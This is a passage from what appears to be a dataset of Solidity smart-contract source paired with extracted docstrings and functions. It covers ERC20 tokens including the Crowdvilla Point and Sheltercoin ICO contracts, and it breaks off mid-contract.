returns(uint256 balance) { return _balanceOf[_owner]; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint256 _value) internal { // check that contract is unlocked require (isLocked == false || _from == owner, "Contract is locked!"); // Prevent transfer to 0x0 address. Use burn() instead require(_to != address(0), "Can`t send to 0x0, use burn()"); // Check if the sender has enough require(_balanceOf[_from] >= _value, "Not enough balance!"); // Subtract from the sender _balanceOf[_from] = _balanceOf[_from].sub(_value); // Add the same to the recipient _balanceOf[_to] = _balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) external returns(bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) external returns(bool success) { // Check allowance require(_value <= _allowance[_from][msg.sender], "Not enough allowance!"); // Check balance require(_value <= _balanceOf[_from], "Not enough balance!"); _allowance[_from][msg.sender] = _allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); emit Approval(_from, _to, _allowance[_from][_to]); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns(bool success) { _allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) external returns(bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) external view returns(uint256 value) { return _allowance[_owner][_spender]; } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) external returns(bool success) { _burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) external returns(bool success) { // Check allowance require(_value <= _allowance[_from][msg.sender], "Not enough allowance!"); // Is tehere enough coins on account require(_value <= _balanceOf[_from], "Insuffient balance!"); // Subtract from the sender's allowance _allowance[_from][msg.sender] = _allowance[_from][msg.sender].sub(_value); _burn(_from, _value); emit Approval(_from, msg.sender, _allowance[_from][msg.sender]); return true; } function _burn(address _from, uint256 _value) internal { // Check if the targeted balance is enough require(_balanceOf[_from] >= _value, "Insuffient balance!"); // Subtract from the sender _balanceOf[_from] = _balanceOf[_from].sub(_value); // Updates totalSupply totalSupply = totalSupply.sub(_value); emit Burn(msg.sender, _value); emit Transfer(_from, address(0), _value); } // ------------------------------------------------------------------------ // Don't accept accidental ETH // ------------------------------------------------------------------------ function () external payable { revert("This contract is not accepting ETH."); } //Owner can take ETH from contract function withdraw(uint256 _amount) external onlyOwner returns (bool){ require(_amount <= address(this).balance, "Not enough balance!"); owner.transfer(_amount); return true; } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint256 _value) external onlyOwner returns(bool success) { return ERC20Interface(tokenAddress).transfer(owner, _value); } }
Destroy tokens from other account Remove `_value` tokens from the system irreversibly on behalf of `_from`. _from the address of the sender _value the amount of money to burn/ Check allowance Is tehere enough coins on account Subtract from the sender's allowance
function burnFrom(address _from, uint256 _value) external returns(bool success) { require(_value <= _allowance[_from][msg.sender], "Not enough allowance!"); require(_value <= _balanceOf[_from], "Insuffient balance!"); _allowance[_from][msg.sender] = _allowance[_from][msg.sender].sub(_value); _burn(_from, _value); emit Approval(_from, msg.sender, _allowance[_from][msg.sender]); return true; }
13,031,518
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) external onlyPayloadSize(2 * 32) returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) external onlyPayloadSize(2 * 32) returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } } contract Owners { mapping (address => bool) public owners; uint public ownersCount; uint public minOwnersRequired = 2; event OwnerAdded(address indexed owner); event OwnerRemoved(address indexed owner); /** * @dev initializes contract * @param withDeployer bool indicates whether deployer is part of owners */ constructor(bool withDeployer) public { if (withDeployer) { ownersCount++; owners[msg.sender] = true; } owners[0x23B599A0949C6147E05C267909C16506C7eFF229] = true; owners[0x286A70B3E938FCa244208a78B1823938E8e5C174] = true; ownersCount = ownersCount + 2; } /** * @dev adds owner, can only by done by owners only * @param _address address the address to be added */ function addOwner(address _address) public ownerOnly { require(_address != address(0)); owners[_address] = true; ownersCount++; emit OwnerAdded(_address); } /** * @dev removes owner, can only by done by owners only * @param _address address the address to be removed */ function removeOwner(address _address) public ownerOnly notOwnerItself(_address) minOwners { require(owners[_address] == true); owners[_address] = false; ownersCount--; emit OwnerRemoved(_address); } /** * @dev checks if sender is owner */ modifier ownerOnly { require(owners[msg.sender]); _; } modifier notOwnerItself(address _owner) { require(msg.sender != _owner); _; } modifier minOwners { require(ownersCount > minOwnersRequired); _; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Owners(true) { event Mint(address indexed to, uint256 amount); event MintFinished(); event MintStarted(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) external ownerOnly canMint onlyPayloadSize(2 * 32) returns (bool) { return internalMint(_to, _amount); } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public ownerOnly canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } /** * @dev Function to start minting new tokens. * @return True if the operation was successful. */ function startMinting() public ownerOnly returns (bool) { mintingFinished = false; emit MintStarted(); return true; } function internalMint(address _to, uint256 _amount) internal returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } } contract REIDAOMintableToken is MintableToken { uint public decimals = 8; bool public tradingStarted = false; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public canTrade returns (bool) { return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) public canTrade returns (bool) { return super.transferFrom(_from, _to, _value); } /** * @dev modifier that throws if trading has not started yet */ modifier canTrade() { require(tradingStarted); _; } /** * @dev Allows the owner to enable the trading. Done only once. */ function startTrading() public ownerOnly { tradingStarted = true; } } contract REIDAOMintableLockableToken is REIDAOMintableToken { struct TokenLock { uint256 value; uint lockedUntil; } mapping (address => TokenLock[]) public locks; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public canTransfer(msg.sender, _value) returns (bool) { return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint _value) public canTransfer(msg.sender, _value) returns (bool) { return super.transferFrom(_from, _to, _value); } /** * @dev Allows authorized callers to lock `_value` tokens belong to `_to` until timestamp `_lockUntil`. * This function can be called independently of transferAndLockTokens(), hence the double checking of timestamp. * @param _to address The address to be locked. * @param _value uint The amout of tokens to be locked. * @param _lockUntil uint The UNIX timestamp tokens are locked until. */ function lockTokens(address _to, uint256 _value, uint256 _lockUntil) public ownerOnly { require(_value <= balanceOf(_to)); require(_lockUntil > now); locks[_to].push(TokenLock(_value, _lockUntil)); } /** * @dev Allows authorized callers to mint `_value` tokens for `_to`, and lock them until timestamp `_lockUntil`. * @param _to address The address to which tokens to be minted and locked. * @param _value uint The amout of tokens to be minted and locked. * @param _lockUntil uint The UNIX timestamp tokens are locked until. */ function mintAndLockTokens(address _to, uint256 _value, uint256 _lockUntil) public ownerOnly { require(_lockUntil > now); internalMint(_to, _value); lockTokens(_to, _value, _lockUntil); } /** * @dev Checks the amount of transferable tokens belongs to `_holder`. * @param _holder address The address to be checked. */ function transferableTokens(address _holder) public constant returns (uint256) { uint256 lockedTokens = getLockedTokens(_holder); return balanceOf(_holder).sub(lockedTokens); } /** * @dev Retrieves the amount of locked tokens `_holder` has. * @param _holder address The address to be checked. */ function getLockedTokens(address _holder) public constant returns (uint256) { uint256 numLocks = getTokenLocksCount(_holder); // Iterate through all the locks the holder has uint256 lockedTokens = 0; for (uint256 i = 0; i < numLocks; i++) { if (locks[_holder][i].lockedUntil >= now) { lockedTokens = lockedTokens.add(locks[_holder][i].value); } } return lockedTokens; } /** * @dev Retrieves the number of token locks `_holder` has. * @param _holder address The address the token locks belongs to. * @return A uint256 representing the total number of locks. */ function getTokenLocksCount(address _holder) internal constant returns (uint256 index) { return locks[_holder].length; } /** * @dev Modifier that throws if `_value` amount of tokens can't be transferred. * @param _sender address the address of the sender * @param _value uint the amount of tokens intended to be transferred */ modifier canTransfer(address _sender, uint256 _value) { uint256 transferableTokensAmt = transferableTokens(_sender); require(_value <= transferableTokensAmt); // delete locks if all locks are cleared if (transferableTokensAmt == balanceOf(_sender) && getTokenLocksCount(_sender) > 0) { delete locks[_sender]; } _; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract REIDAOBurnableToken is BurnableToken { mapping (address => bool) public hostedWallets; /** * @dev burns tokens, can only be done by hosted wallets * @param _value uint256 the amount of tokens to be burned */ function burn(uint256 _value) public hostedWalletsOnly { return super.burn(_value); } /** * @dev adds hosted wallet * @param _wallet address the address to be added */ function addHostedWallet(address _wallet) public { hostedWallets[_wallet] = true; } /** * @dev removes hosted wallet * @param _wallet address the address to be removed */ function removeHostedWallet(address _wallet) public { hostedWallets[_wallet] = false; } /** * @dev checks if sender is hosted wallets */ modifier hostedWalletsOnly { require(hostedWallets[msg.sender] == true); _; } } contract REIDAOMintableBurnableLockableToken is REIDAOMintableLockableToken, REIDAOBurnableToken { /** * @dev adds hosted wallet, can only be done by owners. * @param _wallet address the address to be added */ function addHostedWallet(address _wallet) public ownerOnly { return super.addHostedWallet(_wallet); } /** * @dev removes hosted wallet, can only be done by owners. * @param _wallet address the address to be removed */ function removeHostedWallet(address _wallet) public ownerOnly { return super.removeHostedWallet(_wallet); } /** * @dev burns tokens, can only be done by hosted wallets * @param _value uint256 the amount of tokens to be burned */ function burn(uint256 _value) public canTransfer(msg.sender, _value) { return super.burn(_value); } } contract Point is REIDAOMintableBurnableLockableToken { string public name = "Crowdvilla Point"; string public symbol = "CROWD"; }
Burns a specific amount of tokens. _value The amount of token to be burned./ no need to require value <= totalSupply, since that would imply the sender's balance is greater than the totalSupply, which should be an assertion failure
function burn(uint256 _value) public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); }
12,713,117
pragma solidity ^0.4.24; /* ---------------------------------------------------------------------------- | Sheltercoin ICO 'Sheltercoin Token' Crowdfunding contract | Date - 16-November-2017 | Blockchain Date - Dec 4 2018 | copyright 2017 zMint Limited. All Rights Reserved. | authors A Campbell, S Outtrim | Vers - 000 v001 | ------------------------ | Updates | Date 25-Aug-17 ADC Finalising format | Date 27-Aug-17 ADC Code review amendments | Date 01-Sep-17 ADC Changes | Date 16-Nov-17 ADC Sheltercoin Pre-ICO phase | Date 27-Nov-17 ADC Pragma 17 Changes | Date 12-Dec-17 SO, ADC Code Review, testing; production migration. | Date 01-May-18 ADC Code changes | Date 12-May-18 ADC KYC Client Verication | Date 29-May-18 SO, ADC Code Revew, testing | Date 11-Jun-18 SO hard coding, testing, production migration. | Removed TransferAnyERC20Token, KYC contract shell | Added whitelist and blacklist code | Added bonus calc to ICO function | Date 08-Aug-18 SO Updated function to constructor() | Added SHLT specific function to SHLT code, replaced names | Date 07-Feb-19 SO Production deployment of new SHLT token | | | Sheltercoin.io :-) | :-) hAVe aN aWeSoMe iCo :-) | // ---------------------------------------------------------------------------- */ /* ============================================================================= | Sheltercoin ICO 'Sheltercoin Token & Crowdfunding | | 001. contract - ERC20 Token Interface | | | | Apache Licence | ============================================================================= */ /* ============================================================================ | | Token Standard #20 Interface | https://github.com/ethereum/EIPs/issues/20 | | ============================================================================ */ contract ERC20Interface { uint public totalSupply; uint public tokensSold; function balanceOf(address _owner) public constant returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint remaining); event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /* ====================================================================== | | 002. contract Owned | | ====================================================================== */ contract Owned { /* ------------------------------------------------------------------------ | 002.01 - Current owner, and proposed new owner | -----------------------------------------------------------------------*/ address public owner; address public newOwner; // ------------------------------------------------------------------------ // 002.02 - Constructor - assign creator as the owner // -----------------------------------------------------------------------*/ constructor () public { owner = msg.sender; } /* ------------------------------------------------------------------------ | 002.03 - Modifier to mark that a function can only be executed by the owner | -----------------------------------------------------------------------*/ modifier onlyOwner { require(msg.sender == owner); _; } /* ------------------------------------------------------------------------ | 002.04 - Owner can initiate transfer of contract to a new owner | -----------------------------------------------------------------------*/ function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } /* ------------------------------------------------------------------------ | 002.05 - New owner has to accept transfer of contract | -----------------------------------------------------------------------*/ function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } event OwnershipTransferred(address indexed _from, address indexed _to); } /* =================================================================================== | | 003. contract Pausable | Abstract contract that allows children to implement an emergency stop mechanism | | ==================================================================================== */ contract Pausable is Owned { event Pause(); event Unpause(); bool public paused = false; /* ------------------------------------------------------------------------ | 003.01 - modifier to allow actions only when the contract IS paused | -----------------------------------------------------------------------*/ modifier whenNotPaused() { require(!paused); _; } /* ------------------------------------------------------------------------ | 003.02 - modifier to allow actions only when the contract IS NOT paused | -----------------------------------------------------------------------*/ modifier whenPaused { require(paused); _; } /* ------------------------------------------------------------------------ | 003.01 - called by the owner to pause, triggers stopped state | -----------------------------------------------------------------------*/ function pause() public onlyOwner whenNotPaused returns (bool) { paused = true; emit Pause(); return true; } /* ------------------------------------------------------------------------ | 003.01 - called by the owner to unpause, returns to normal state | -----------------------------------------------------------------------*/ function unpause() public onlyOwner whenPaused returns (bool) { paused = false; emit Unpause(); return true; } } /* =================================================================================== | | 004. contract Transferable | Abstract contract that allows wallets the transfer mechanism | | ==================================================================================== */ contract Transferable is Owned { event Transfer(); event Untransfer(); bool public flg_transfer = true; /* ------------------------------------------------------------------------ | 004.01 - modifier to allow actions only when the contract IS transfer | -----------------------------------------------------------------------*/ modifier whenNotTransfer() { require(!flg_transfer); _; } /* ------------------------------------------------------------------------ | 004.02 - modifier to allow actions only when the contract IS NOT transfer | -----------------------------------------------------------------------*/ modifier whenTransfer { require(flg_transfer); _; } /* ------------------------------------------------------------------------ | 004.01 - called by the owner to transfer, triggers stopped state | -----------------------------------------------------------------------*/ function transfer() public onlyOwner whenNotTransfer returns (bool) { flg_transfer = true; emit Transfer(); return true; } /* ------------------------------------------------------------------------ | 004.01 - called by the owner to untransfer, returns to normal state | -----------------------------------------------------------------------*/ function untransfer() public onlyOwner whenTransfer returns (bool) { flg_transfer = false; emit Untransfer(); return true; } } /* ---------------------------------------------------------------------------- | 005. libraty Safe maths - OpenZeppelin | --------------------------------------------------------------------------- */ library SafeMath { /* ------------------------------------------------------------------------ // 005.01 - safeAdd a number to another number, checking for overflows // -----------------------------------------------------------------------*/ function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a && c >= b); return c; } /* ------------------------------------------------------------------------ // 005.02 - safeSubtract a number from another number, checking for underflows // -----------------------------------------------------------------------*/ function safeSub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } /* ------------------------------------------------------------------------ // 005.03 - safeMuiltplier a number to another number, checking for underflows // -----------------------------------------------------------------------*/ function safeMul(uint a, uint b) internal pure returns (uint256) { uint c = a * b; assert(a == 0 || c / a == b); return c; } /* ------------------------------------------------------------------------ // 005.04 - safeDivision // -----------------------------------------------------------------------*/ function safeDiv(uint a, uint b) internal pure returns (uint256) { uint c = a / b; return c; } /* ------------------------------------------------------------------------ // 005.05 - Max64 // -----------------------------------------------------------------------*/ function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } /* ------------------------------------------------------------------------ // 005.06 - Min64 // -----------------------------------------------------------------------*/ function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } /* ------------------------------------------------------------------------ // 005.07 - max256 // -----------------------------------------------------------------------*/ function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /* ------------------------------------------------------------------------ // 005.08 - min256 // -----------------------------------------------------------------------*/ function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /* ---------------------------------------------------------------------------- | 006. contract Sheltercoin Token Configuration - pass through parameters | ---------------------------------------------------------------------------- */ contract SheltercoinTokCfg { /* ------------------------------------------------------------------------ | 006.01 - Token symbol(), name() and decimals() |------------------------------------------------------------------------ */ string public constant SYMBOL = "SHLT"; string public constant NAME = "SHLT Sheltercoin.io"; uint8 public constant DECIMALS = 8; bool public flg001 = false; /* ----------------------------------------------------------------------- | 006.02 - Decimal factor for multiplications | ------------------------------------------------------------------------*/ uint public constant TOKENS_SOFT_CAP = 1 * DECIMALSFACTOR; uint public constant TOKENS_HARD_CAP = 1000000000 * DECIMALSFACTOR; /* billion */ uint public constant TOKENS_TOTAL = 1000000000 * DECIMALSFACTOR; uint public tokensSold = 0; /* ------------------------------------------------------------------------ | 006.03 - Lot 1 Crowdsale start date and end date | Do not use the `now` function here | Good caluclator for sanity check for epoch - http://www.unixtimestamp.com/ | Start - Sunday 30-Jun-19 12:00:00 UTC | End - Tuesday 30-Jun-20 12:00:00 UTC | ----------------------------------------------------------------------- */ uint public constant DECIMALSFACTOR = 10**uint(DECIMALS); /* ------------------------------------------------------------------------ | 006.04 - Lot 1 Crowdsale timings Soft Cap and Hard Cap, and Total tokens | -------------------------------------------------------------------------- */ uint public START_DATE = 1582545600; // 24-Feb-20 12:00:00 GMT uint public END_DATE = 1614165071; // 24-Feb-21 11:11:11 GMT /* ------------------------------------------------------------------------ | 006.05 - Individual transaction contribution min and max amounts | Set to 0 to switch off, or `x ether` | ----------------------------------------------------------------------*/ uint public CONTRIBUTIONS_MIN = 0; uint public CONTRIBUTIONS_MAX = 1000000 ether; } /* ---------------------------------------------------------------------------- | 007. - contract ERC20 Token, with the safeAddition of Symbol, name and Decimal | --------------------------------------------------------------------------*/ contract ERC20Token is ERC20Interface, Owned, Pausable, Transferable { using SafeMath for uint; /* ------------------------------------------------------------------------ | 007.01 - Symbol(), Name() and Decimals() | ----------------------------------------------------------------------*/ string public symbol; string public name; uint8 public decimals; /* ------------------------------------------------------------------------ | 007.02 - Balances for each account | ----------------------------------------------------------------------*/ mapping(address => uint) balances; /*------------------------------------------------------------------------ | 007.03 - Owner of account approves the transfer of an amount to another account | ----------------------------------------------------------------------*/ mapping(address => mapping (address => uint)) allowed; /* ------------------------------------------------------------------------ | 007.04 - Constructor | ----------------------------------------------------------------------*/ constructor ( string _symbol, string _name, uint8 _decimals, uint _tokensSold ) Owned() public { symbol = _symbol; name = _name; decimals = _decimals; tokensSold = _tokensSold; balances[owner] = _tokensSold; } /* ------------------------------------------------------------------------ | 007.05 -Get the account balance of another account with address _owner | ----------------------------------------------------------------------*/ function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } /* ------------------------------------------------------------------------ | 007.06 - Transfer the balance from owner's account to another account | ----------------------------------------------------------------------*/ function transfer(address _to, uint _amount) public returns (bool success) { if (balances[msg.sender] >= _amount // User has balance && _amount > 0 // Non-zero transfer && balances[_to] + _amount > balances[_to] // Overflow check ) { balances[msg.sender] = balances[msg.sender].safeSub(_amount); balances[_to] = balances[_to].safeAdd(_amount); emit Transfer(msg.sender, _to, _amount); return true; } else { return false; } } /* ------------------------------------------------------------------------ | 007.07 - Allow _spender to withdraw from your Account, multiple times, up to the | _value amount. If this function is called again it overwrites the | current allowance with _value. | ----------------------------------------------------------------------*/ function approve( address _spender, uint _amount ) public returns (bool success) { allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /* ------------------------------------------------------------------------ | 007.08 - Spender of tokens transfer an amount of tokens from the token owner's | balance to another account. The owner of the tokens must already | have approved this transfer | ----------------------------------------------------------------------*/ function transferFrom( address _from, address _to, uint _amount ) public returns (bool success) { if (balances[_from] >= _amount // _from a/c has a balance && allowed[_from][msg.sender] >= _amount // Transfer allowed && _amount > 0 // Non-zero transfer && balances[_to] + _amount > balances[_to] // Overflow check ) { balances[_from] = balances[_from].safeSub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].safeSub(_amount); balances[_to] = balances[_to].safeAdd(_amount); emit Transfer(_from, _to, _amount); return true; } else { return false; } } /* ------------------------------------------------------------------------ | 007.09 - Returns the amount of tokens approved by the owner that can be | transferred to the spender's account | ----------------------------------------------------------------------*/ function allowance( address _owner, address _spender ) public constant returns (uint remaining) { return allowed[_owner][_spender]; } } /* ---------------------------------------------------------------------------- | 008. contract SheltercoinToken - Sheltercoin ICO Crowdsale | --------------------------------------------------------------------------*/ contract SHLTSheltercoinToken is ERC20Token, SheltercoinTokCfg { /* ------------------------------------------------------------------------ | 007.01 - Has the crowdsale been finalised? | ----------------------------------------------------------------------*/ bool public finalised = false; /* ------------------------------------------------------------------------ | 007.02 - Number of Tokens per 1 ETH | This can be adjusted as the ETH/USD rate changes | | 007.03 SO Price per ETH $105.63 Feb 7 2019 coinmarketcap 1 ETH = 2000 SHLT 1 SHLT = 0.0005 ETH USD 5c 1 billion SHLT = total hard cap | | tokensPerEther = 2000 | tokensPerKEther = 2000000 | /* ----------------------------------------------------------------------*/ uint public tokensPerEther = 2000; uint public tokensPerKEther = 2000000; uint public etherSold = 0; uint public weiSold = 0; uint public tokens = 0; uint public dspTokens = 0; uint public dspTokensSold = 0; uint public dspEther = 0; uint public dspEtherSold = 0; uint public dspWeiSold = 0; uint public BONUS_VALUE = 0; uint public bonusTokens = 0; // Emergency Disaster Relief string public SCE_Shelter_ID; string public SCE_Shelter_Desc; // string public SCE_Emergency_ID; string public SCE_Emergency_Type; // string public SCE_UN_Body; string public SCE_UN_Programme_ID; string public SCE_Country; string public SCE_Region; // string public SCE_Area; uint public SCE_START_DATE; uint public SCE_END_DATE; /* ------------------------------------------------------------------------ | 007.04 - Wallet receiving the raised funds | - The ICO Contract address | ----------------------------------------------------------------------*/ address public wallet; address public tokenContractAdr; /* ------------------------------------------------------------------------ | 007.05 - Crowdsale participant's accounts need to be client verified client before | the participant can move their tokens | ----------------------------------------------------------------------*/ mapping(address => bool) public Whitelisted; mapping(address => bool) public Blacklisted; modifier isWhitelisted() { require(Whitelisted[msg.sender] == true); _; } modifier isBlacklisted() { require(Blacklisted[msg.sender] == true); _; } /* ------------------------------------------------------------------------ | 007.06 - Constructor | ----------------------------------------------------------------------*/ constructor (address _wallet) public ERC20Token(SYMBOL, NAME, DECIMALS, 0) { wallet = _wallet; flg001 = true ; } /* ------------------------------------------------------------------------ | 007.07 - Sheltercoin Owner can change the Crowdsale wallet address | Can be set at any time before or during the Crowdsale | Not relevant after the crowdsale is finalised as no more contributions | are accepted | ----------------------------------------------------------------------*/ function setWallet(address _wallet) public onlyOwner { wallet = _wallet; emit WalletUpdated(wallet); } event WalletUpdated(address newWallet); /* ------------------------------------------------------------------------ | 007.08 - Sheltercoin Owner can set number of tokens per 1 x ETH | Can only be set before the start of the Crowdsale | ----------------------------------------------------------------------*/ function settokensPerKEther(uint _tokensPerKEther) public onlyOwner { require(now < START_DATE); require(_tokensPerKEther > 0); tokensPerKEther = _tokensPerKEther; emit tokensPerKEtherUpdated(tokensPerKEther); } event tokensPerKEtherUpdated(uint _tokPerKEther); /* ------------------------------------------------------------------------ | 007.09 - Accept Ethers to buy Tokens during the Crowdsale | ----------------------------------------------------------------------*/ function () public payable { ICOContribution(msg.sender); } /* ------------------------------------------------------------------------ | 